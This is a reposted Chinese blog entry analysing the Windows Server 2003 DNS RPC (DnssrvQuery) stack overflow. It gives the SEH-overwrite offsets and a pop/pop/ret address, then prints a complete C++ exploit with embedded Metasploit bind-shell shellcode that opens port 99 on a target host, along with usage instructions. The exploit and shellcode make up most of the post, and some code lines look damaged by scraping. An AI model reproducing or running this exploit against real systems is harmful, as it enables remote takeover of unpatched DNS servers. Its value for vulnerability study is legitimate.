登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

A1Pass的风清月朗居

追随技术的巅峰,突破欲望的枷锁!我,是技术与精神的享乐者!

 
 
 
 
 

日志

 
 

[转载]DNS RPC 分析  

2007-10-26 17:55:00|  分类: 网文九尾狐——随 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

 题记: 发表一篇技术类文章,好久没发表类似文章了.

 

        好久没发技术类文章了,无奈现在自己也没有什么有价值的心得,所以暂且转载一篇文章,出处不明.

        个人认为这是一篇比较易懂的文章,适合刚开始研究溢出的朋友借鉴学习,而对于刚刚开始接触黑客的朋友,也应该在这里学到一些东西,只要你懂一点汇编与C语言就可以基本看懂本文,多说无益,大家看正文吧.

 

根据安全公告的漏洞描述,漏洞发生在dns.exe程序中的DnssrvQuery函数,这个函数是一个RPC函数,允许客户端进行远程调用。先用IDA对

dns.exe进行静态的反汇编分析,找到如下调用关系:

找到地址010154EC处,看到代码如下: .text:010154EC cmp cl, 5Ch ; is '\'?

.text:010154EF jnz short loc_1015484 ; Next Char

.text:010154F1 push [ebp+arg_4]

.text:010154F4 push edi

.text:010154F5 push ebx

.text:010154F6 call _extractQuotedChar@12 ; extractQuotedChar(x,x,x)

.text:010154FB mov edi, eax

.text:010154FD mov eax, [ebp+arg_0]

.text:01015500 inc ebx

.text:01015501 jmp short loc_1015484

其实这些对我来说关系不大,看了漏洞描述就成。我需要的是找到这个地址0x010154EC好进行动态调试。加载dns.exe,在 010154EC处下断点,发送这样的字符,可以看见栈内存被覆盖。我在Windows Server 2003 Standard Chinese SP1上进行的调试,开始覆盖的起始内存地址为0x0138F6AF处。因为有stack cookie,所以选择覆盖SEH地址。

看看栈里面,发现最近的SEH地址为0x0138FD10,距离覆盖开始的距离为1633字节。一直加大字节数,最终会覆盖到分页未映射的内存区域,触发异常,接管程序流程。测试之后发现esp+12是在我们的覆盖范围之内,这样就是需要找一个pop/pop/ret的转跳地址。经过分析,在 windows server 2003 Standard sp1中文版上面,需要的地址为0x769C1A61(这个地址不错,这里可以连续pop三次再ret,不过我们只需要两次pop)。由于需要在字符前面加上'\'绕过长度检测,因此,覆盖到SEH的长度为1633 * 2 字节。覆盖到SEH pop/pop/ret之后,程序会跳到SEH的前面,这就又需要往高址转跳6个字节,EB 06就可以了。

最终在内存中的数据示意图如下: 内存低址 内存高址

NOP NOP NOP NOP NOP........EB 06 NOP NOP pop/pop/ret shellcode NOP NOP NOP............

执行顺序为触发异常,接管执行pop/pop/ret,执行到eb 06,再执行到shellcode,收工。

针对上述分析,我写了一个测试性质的攻击程序,不具备危害性,经过测试,这些分析正确,攻击代码见后。(编译这段代码很麻烦的,嘿嘿,先要 midl编译idl文件,然后再编译这段CPP代码)这段代码纯粹是为了演示和分析用,对公司内部的讲座,如果被人修改了进行攻击,偶不管……其实修改这个EXP很容易……—_—! /*

DNS_RPC

Windows Server 2003 Standard Chinese SP1

开始覆盖 0138F6AF

SEH 0138FD10

未映射内存区域 01390000

1633字节 + 4字节的POP/RET 刚好覆盖到SEH,执行到0138F380

769C1A61 Windows Server 2003 Standard CN SP1

加大字节覆盖到未映射内存区域,引发异常接管。

需要注意的是,要在有效字符之前插入反斜杠,所以长度翻倍。我这里的做法是先忽略反斜杠因素,构造好整个缓冲区,然后再插入反斜杠。个人觉得我的代码还是比较清晰的,起码比MilW0rm上面的简洁明了。

*/

#include <winsock2.h>

#include <windows.h>

#include <stdio.h>

#include <Rpc.h>

#include "dnsxpl.h"

#pragma comment( lib, "ws2_32.lib" )

#pragma comment( lib, "Rpcrt4.lib" )

#define OBJ_UUID "50abc2a4-574d-40b3-9d66-ee4fd5fba076"

#define PRO_SEQ "ncacn_ip_tcp"

/* win32_bind - EXITFUNC=seh LPORT=99 Size=344 Encoder=PexFnstenvSub http://metasploit.com */

unsigned char shell[] =

"\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfa"

"\xac\x69\x80\x83\xeb\xfc\xe2\xf4\x06\xc6\x82\xcd\x12\x55\x96\x7f"

"\x05\xcc\xe2\xec\xde\x88\xe2\xc5\xc6\x27\x15\x85\x82\xad\x86\x0b"

"\xb5\xb4\xe2\xdf\xda\xad\x82\xc9\x71\x98\xe2\x81\x14\x9d\xa9\x19"

"\x56\x28\xa9\xf4\xfd\x6d\xa3\x8d\xfb\x6e\x82\x74\xc1\xf8\x4d\xa8"

"\x8f\x49\xe2\xdf\xde\xad\x82\xe6\x71\xa0\x22\x0b\xa5\xb0\x68\x6b"

"\xf9\x80\xe2\x09\x96\x88\x75\xe1\x39\x9d\xb2\xe4\x71\xef\x59\x0b"

"\xba\xa0\xe2\xf0\xe6\x01\xe2\xc0\xf2\xf2\x01\x0e\xb4\xa2\x85\xd0"

"\x05\x7a\x0f\xd3\x9c\xc4\x5a\xb2\x92\xdb\x1a\xb2\xa5\xf8\x96\x50"

"\x92\x67\x84\x7c\xc1\xfc\x96\x56\xa5\x25\x8c\xe6\x7b\x41\x61\x82"

"\xaf\xc6\x6b\x7f\x2a\xc4\xb0\x89\x0f\x01\x3e\x7f\x2c\xff\x3a\xd3"

"\xa9\xff\x2a\xd3\xb9\xff\x96\x50\x9c\xc4\x69\xe3\x9c\xff\xe0\x61"

"\x6f\xc4\xcd\x9a\x8a\x6b\x3e\x7f\x2c\xc6\x79\xd1\xaf\x53\xb9\xe8"

"\x5e\x01\x47\x69\xad\x53\xbf\xd3\xaf\x53\xb9\xe8\x1f\xe5\xef\xc9"

"\xad\x53\xbf\xd0\xae\xf8\x3c\x7f\x2a\x3f\x01\x67\x83\x6a\x10\xd7"

"\x05\x7a\x3c\x7f\x2a\xca\x03\xe4\x9c\xc4\x0a\xed\x73\x49\x03\xd0"

"\xa3\x85\xa5\x09\x1d\xc6\x2d\x09\x18\x9d\xa9\x73\x50\x52\x2b\xad"

"\x04\xee\x45\x13\x77\xd6\x51\x2b\x51\x07\x01\xf2\x04\x1f\x7f\x7f"

"\x8f\xe8\x96\x56\xa1\xfb\x3b\xd1\xab\xfd\x03\x81\xab\xfd\x3c\xd1"

"\x05\x7c\x01\x2d\x23\xa9\xa7\xd3\x05\x7a\x03\x7f\x05\x9b\x96\x50"

"\x71\xfb\x95\x03\x3e\xc8\x96\x56\xa8\x53\xb9\xe8\x0a\x26\x6d\xdf"

"\xa9\x53\xbf\x7f\x2a\xac\x69\x80";

void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len){ return(malloc(len)); }

void __RPC_USER midl_user_free(void __RPC_FAR * ptr){ free(ptr); }

void Usage( char *ProgramName );

void Exploit( char *Host, char * RpcPort );

int main( int argc, char *argv[] )

{

WSAData Wsa;

char Host[20] = { 0 }; // 目标主机,网络字节顺序

char RpcPort[8] = { 0 }; // 目标机器RPC高端口

// 初始化网络库

if( WSAStartup(0x0202, &Wsa) != 0 )

{

printf( "[-] WSAStartup failed with error: %d\n" , GetLastError() );

return -1;

}

if( argc != 3 )

{

Usage( argv[0] );

return -1;

}

strncpy( Host, argv[1], sizeof(Host) -1 );

strncpy( RpcPort, argv[2], sizeof(RpcPort) - 1 );

if( atoi(RpcPort) <= 1024 )

{

Usage( argv[0] );

return -1;

}

Exploit( Host, RpcPort );

return 1;

}

// 显示帮助

void Usage( char *ProgramName )

{

printf( "Usage: %s <TargetIP> <RpcPort>\n", ProgramName );

}

void Exploit( char *Host, char *RpcPort )

{

unsigned char *StringBinding = NULL;

unsigned char *Options = NULL;

RPC_STATUS Status = RpcStringBindingComposeA( (unsigned char *)OBJ_UUID,

(unsigned char *)PRO_SEQ,

(unsigned char *)Host,

(unsigned char *)RpcPort,

Options,

&StringBinding );

if( RPC_S_OK != Status )

{

printf( "[-] RpcStringBindingCompose failed, exit!\n" );

exit(-1);

}

printf( "[+] Connect to %s successful!\n", StringBinding );

//RPC_BINDING_HANDLE Dns;

Status = RpcBindingFromStringBindingA( (unsigned char *)StringBinding, &dns );

if( RPC_S_OK != Status )

{

printf( "[-] RpcBindingFromStringBinding failed, exit!\n" );

exit(-1);

}

printf( "[+] RpcBindingFromStringBinding successful!\n" );

wchar_t * ArguA = L"ph4nt0myunshu";

int BuffSize = 4000;

unsigned char * TmpBuff = (unsigned char *)malloc( BuffSize );

// 填充缓冲区

memset( (void *)TmpBuff, '\x90', BuffSize );

// 加入Pop/Pop/Ret转跳地址,覆盖SEH

int PopRet = 1633;

memset( (void *)(TmpBuff + PopRet), '\x60', 1 );

memset( (void *)(TmpBuff + PopRet + 1), '\x1A', 1 );

memset( (void *)(TmpBuff + PopRet + 2), '\x9C', 1 );

memset( (void *)(TmpBuff + PopRet + 3), '\x76', 1 );

// 加入二次转跳命令,往高址跳6字节,跳到seh的高址,执行

memset( (void *)(TmpBuff + PopRet - 4), '\xEB', 1 );

memset( (void *)(TmpBuff + PopRet - 3), '\x06', 1 );

// shellcode字符数组后面会有一个\x00,所以需要sizeof-1

memcpy( (void *)(TmpBuff + PopRet + 4), (void *)shell, sizeof(shell) - 1 );

/*

内存低址 内存高址

NOP NOP NOP NOP NOP NOP NOP eb 06 90 90 pop/pop/ret shellcode NOP NOP NOP

*/

// 插入反斜杠,转换为"\x5c\x90\x5c\x90\x5c\x90.....\x5c\xeb\x5c\x06"格式

unsigned char * ArguB = (unsigned char *)malloc( BuffSize * 2 + 4 );

memset( (void *)ArguB, '\', BuffSize * 2 + 4 );

for( int index = 0; index < BuffSize; index ++ )

{

ArguB[index * 2 + 1] = TmpBuff[index];

}

ArguB[BuffSize * 2 + 4 -1] = '';

unsigned char *ArguC = (unsigned char *)malloc( 10 );

strcpy( (char *)ArguC, "ICYLIFE" );

long *ArguD = (long *)malloc( 20 );

long *ArguE = (long *)malloc( 20 );

// 发送exp数据

printf( "[+] Try to telnet 99 port, good luck!\n" );

RpcTryExcept

{

Status = DnssrvQuery( ArguA, ArguB, ArguC, ArguD, ArguE );

}

RpcExcept(1)

{

Status = RpcExceptionCode( );

//printf( "[-] RPC Server reported exception 0x%lx = %ld\n", Status, Status );

}

RpcEndExcept

free( TmpBuff );

free( ArguB );

free( ArguC );

free( ArguD );

free( ArguE );

}

  评论这张
 
阅读(1252)| 评论(1)

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2018